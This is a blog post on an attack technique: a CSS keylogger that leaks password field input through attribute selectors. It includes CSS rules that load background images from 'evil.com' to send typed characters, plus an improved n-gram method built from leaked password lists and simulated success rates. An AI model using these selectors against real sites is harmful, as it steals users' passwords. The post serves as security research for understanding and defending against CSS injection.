Better solution for CSS keylogging

The described keylogger is avaliable on my GitHub.

How it works

A primitive approach is a one-to-one mapping between characters and selectors:

input[type="password"][value$="a"] {
    background-image: url("http://evil.com/?key=a");
}
input[type="password"][value$="b"] {
    background-image: url("http://evil.com/?key=b");
}

If the field ends with one of the given characters, the assigned resource is loaded. The server assembles the names of the resources requested and thus receives the text entered.

Conditions and limitations

However, this approach does not allow multiple transmissions of one character. The user agent saves loaded resources until the page has been reloaded. This means that hello will by exfiltrated as helo.

A functioning CSS keylogger requires that the value attributes of a input element are updated with every input. The value attributes are empty by default if not set manually. The input of text does not change the attributes that can be read by CSS. JavaScript frameworks such as React also update the value attributes with every input.

Improvement

As a result, the url http://evil.com/?k=a is only loaded once. An improvement to this method was presented by Heath Milligan in his repository. All two-character combinations are generated. The following number of selectors are required:

\(P(n,k)=95^{2}=9.025\)

The text abbab, on the other hand, cannot be transmitted as the permutation ab occurs twice. The effectiveness in this scenario is also limited by the number of selectors. Generating all three-character combinations would require \(P(n,k)=95^{3}=857.375\) selectors. A selector with three combinations (including line break) contains about \(88\) characters. The style.css would consist of \(857,375 * 88 = 75,449,000\) characters and have a memory size of around \(75.5\) MB.

Further improvement

An arbitrary list of plain text passwords is required for this. A Python program counts the occurrences of all \(1,2,…,n\) character combinations and writes them to a JSON file. When the attacker server is started, the maximum number of selectors is also specified.

The combinations in the JSON file must be adapted according to the scenario. For example, if passwords are to be exfiltrated in a login form, a dictionary list with frequently used passwords such as rockyou.txt (see kali.org) can be analyzed.

In order to be able to transmit each character at least once, all 1-character combinations must be generated. For all given \(1,2,…,n\) character combinations, \(100/n\) % of the most frequent combinations are generated.

CombinationCount
1-charall
2-char50 % (of the most common)
3-char25 % (of the most common)
n-char100/n % (of the most common)

This statistical method discards rare combinations and instead promotes the usage of frequently occurring sequences.

The statistical and 2-character approach will now be simulated with real passwords. Tests are carried out with \(14,330,055\) different passwords. Both approaches have the same limit of \(9,025\) selectors.

The figure shows that the statistical method achieves a success rate of 98.59 %, whereas the analysis of all 2-character combinations has a success rate of 91.54 %. The error rate is 1.41 % (\(202,431\) passwords) and 8.46 % (\(1,211,637\) passwords) for the 2-char approach.

Failed passwords of the statistical method, for example, consisted of more than five consecutive characters. The 2-character approach, on the other hand, already failed when repeating a 2-character combination.

Limitations

This method has several restrictions:


1. Deletion of characters:
Whether a character has been added or removed cannot be determined with pure CSS. If the user deletes characters with the backspace key, the character or combination at the end of the text is transferred again.


2. Insert text:
Pasting text from the clipboard ctrl + V only triggers a single re-evaluation of the selectors. Accordingly, only the character or combination at the end of the text is transferred. This also applies to automatic completion by password managers.
A possible solution for this would be to use my other implementation to exfiltrate the entire attributes.


3. Restricted to input elements:
Keystrokes can only be registered by input, and the resulting re-evaluation of the selectors, in input elements.